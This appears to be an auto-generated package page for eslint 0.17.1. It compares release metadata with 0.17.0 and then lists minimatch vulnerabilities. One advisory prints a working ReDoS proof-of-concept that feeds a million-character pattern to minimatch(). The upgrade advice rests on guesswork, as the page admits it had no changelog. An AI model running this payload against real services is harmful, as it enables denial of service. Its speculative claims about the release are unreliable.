Eslint version 0.17.1 represents a minor update to the popular JavaScript linting tool, building upon the foundation laid by version 0.17.0. Examining the package metadata reveals subtle yet potentially important differences. Both versions share identical core dependencies, including tools like chalk for stylized console output, escope for ECMAScript scope analysis, and espree for parsing JavaScript. Similarly, the development dependencies remain consistent, indicating a stable build and testing environment utilizing familiar tools like mocha for testing, istanbul for coverage, and browserify for bundling.
The key distinction lies in the release date. Version 0.17.1 was published on March 18, 2015, a few days after version 0.17.0, released on March 14, 2015. While the absence of explicit changelog information in the provided data makes pinpointing the exact changes difficult, this short interval suggests that version 0.17.1 likely includes bug fixes, performance improvements, or minor adjustments addressing issues discovered quickly after the 0.17.0 release. Developers should consider upgrading to version 0.17.1 to benefit from these potential enhancements and ensure they are using the most stable and refined version of the linter within the 0.17.x series. Given the identical dependency manifest, upgrading should pose minimal risk of breaking changes, making it a worthwhile update for enhanced reliability in Javascript code analysis.
All the vulnerabilities related to the version 0.17.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
